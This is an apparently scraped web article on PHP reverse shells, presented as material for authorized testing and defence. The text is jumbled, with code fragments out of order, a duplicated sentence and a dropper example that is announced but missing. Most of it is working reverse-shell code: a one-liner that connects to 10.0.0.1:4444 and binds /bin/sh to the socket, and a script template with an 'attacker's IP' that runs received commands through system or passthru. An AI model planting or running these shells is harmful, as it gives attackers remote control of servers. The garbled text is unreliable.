Php | Reverse Shell

elseif (function_exists('passthru')) while ($cmd = fgets($sock)) ob_start(); passthru($cmd); fwrite($sock, ob_get_clean() . "\n");

else fwrite($sock, "No command execution functions available");

fclose($sock); ?>

// Execute /bin/sh (Unix) or cmd.exe (Windows) $process = proc_open('/bin/sh', $descriptorspec, $pipes);

<?= $c=fsockopen("10.0.0.1",4444);$d=exec("/bin/sh -i <&3 >&3 2>&3"); ?> Instead of embedding the entire shell in one file, a small "dropper" PHP script fetches a secondary payload from a remote server: Reverse Shell Php

<?php // Attacker's IP and listening port $ip = '192.168.1.100'; $port = 4444; // Create a TCP socket $sock = fsockopen($ip, $port, $errno, $errstr, 30);

This article serves a dual purpose. First, we will explore what a PHP reverse shell is, how it works, and provide technical examples for authorized security testing. Second, and more importantly, we will arm system administrators and developers with the knowledge to detect, prevent, and defend against these attacks. Second, and more importantly, we will arm system

elseif (function_exists('system')) while ($cmd = fgets($sock)) ob_start(); system($cmd); fwrite($sock, ob_get_clean() . "\n");